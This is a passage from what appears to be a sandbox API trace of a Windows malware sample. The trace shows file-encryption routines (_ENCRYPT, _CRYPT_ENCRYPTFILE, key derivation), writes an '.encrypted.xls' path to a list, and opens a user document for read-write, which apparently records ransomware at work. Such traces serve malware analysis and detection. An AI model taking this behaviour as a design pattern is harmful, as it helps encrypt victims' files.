hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.188] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.188] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.189] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.189] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.189] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.189] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.189] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.189] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.189] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.189] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.189] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.189] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.189] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.190] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.190] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.190] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.190] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.190] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.190] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.190] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.190] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.190] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.190] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4664) returned 1 [0025.190] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.190] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.190] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.190] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1238, lpOverlapped=0x0) returned 1 [0025.191] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.191] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1238, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.191] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4664) returned 1 [0025.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0025.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\n", cchWideChar=72, lpMultiByteStr=0xe8f40512c0, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\n", lpUsedDefaultChar=0x0) returned 72 [0025.191] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40696b0*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40696b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x47, lpOverlapped=0x0) returned 1 [0025.191] CloseHandle (hObject=0x188) returned 1 [0025.192] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.192] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.192] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.192] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.193] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.193] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.193] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.193] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.194] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178940, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.194] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.194] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.rtf", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0025.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.rtf", cchWideChar=66, lpMultiByteStr=0xe8f4051ae0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.rtf", lpUsedDefaultChar=0x0) returned 66 [0025.194] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\k27yuqyogg7erx5ry.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0025.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=66, lpWideCharStr=0xe8f40684b0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.rtf") returned 66 [0025.195] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.196] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.196] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.196] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.196] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.196] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.196] CloseHandle (hObject=0x188) returned 1 [0025.196] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.197] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.197] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.197] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.197] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.197] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.197] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.198] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.198] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.198] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.198] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.198] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.198] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a20) returned 1 [0025.198] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.199] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.199] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.199] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.199] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.199] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.199] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.199] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.199] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.200] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.200] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.200] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.200] PeekMessageW (in: 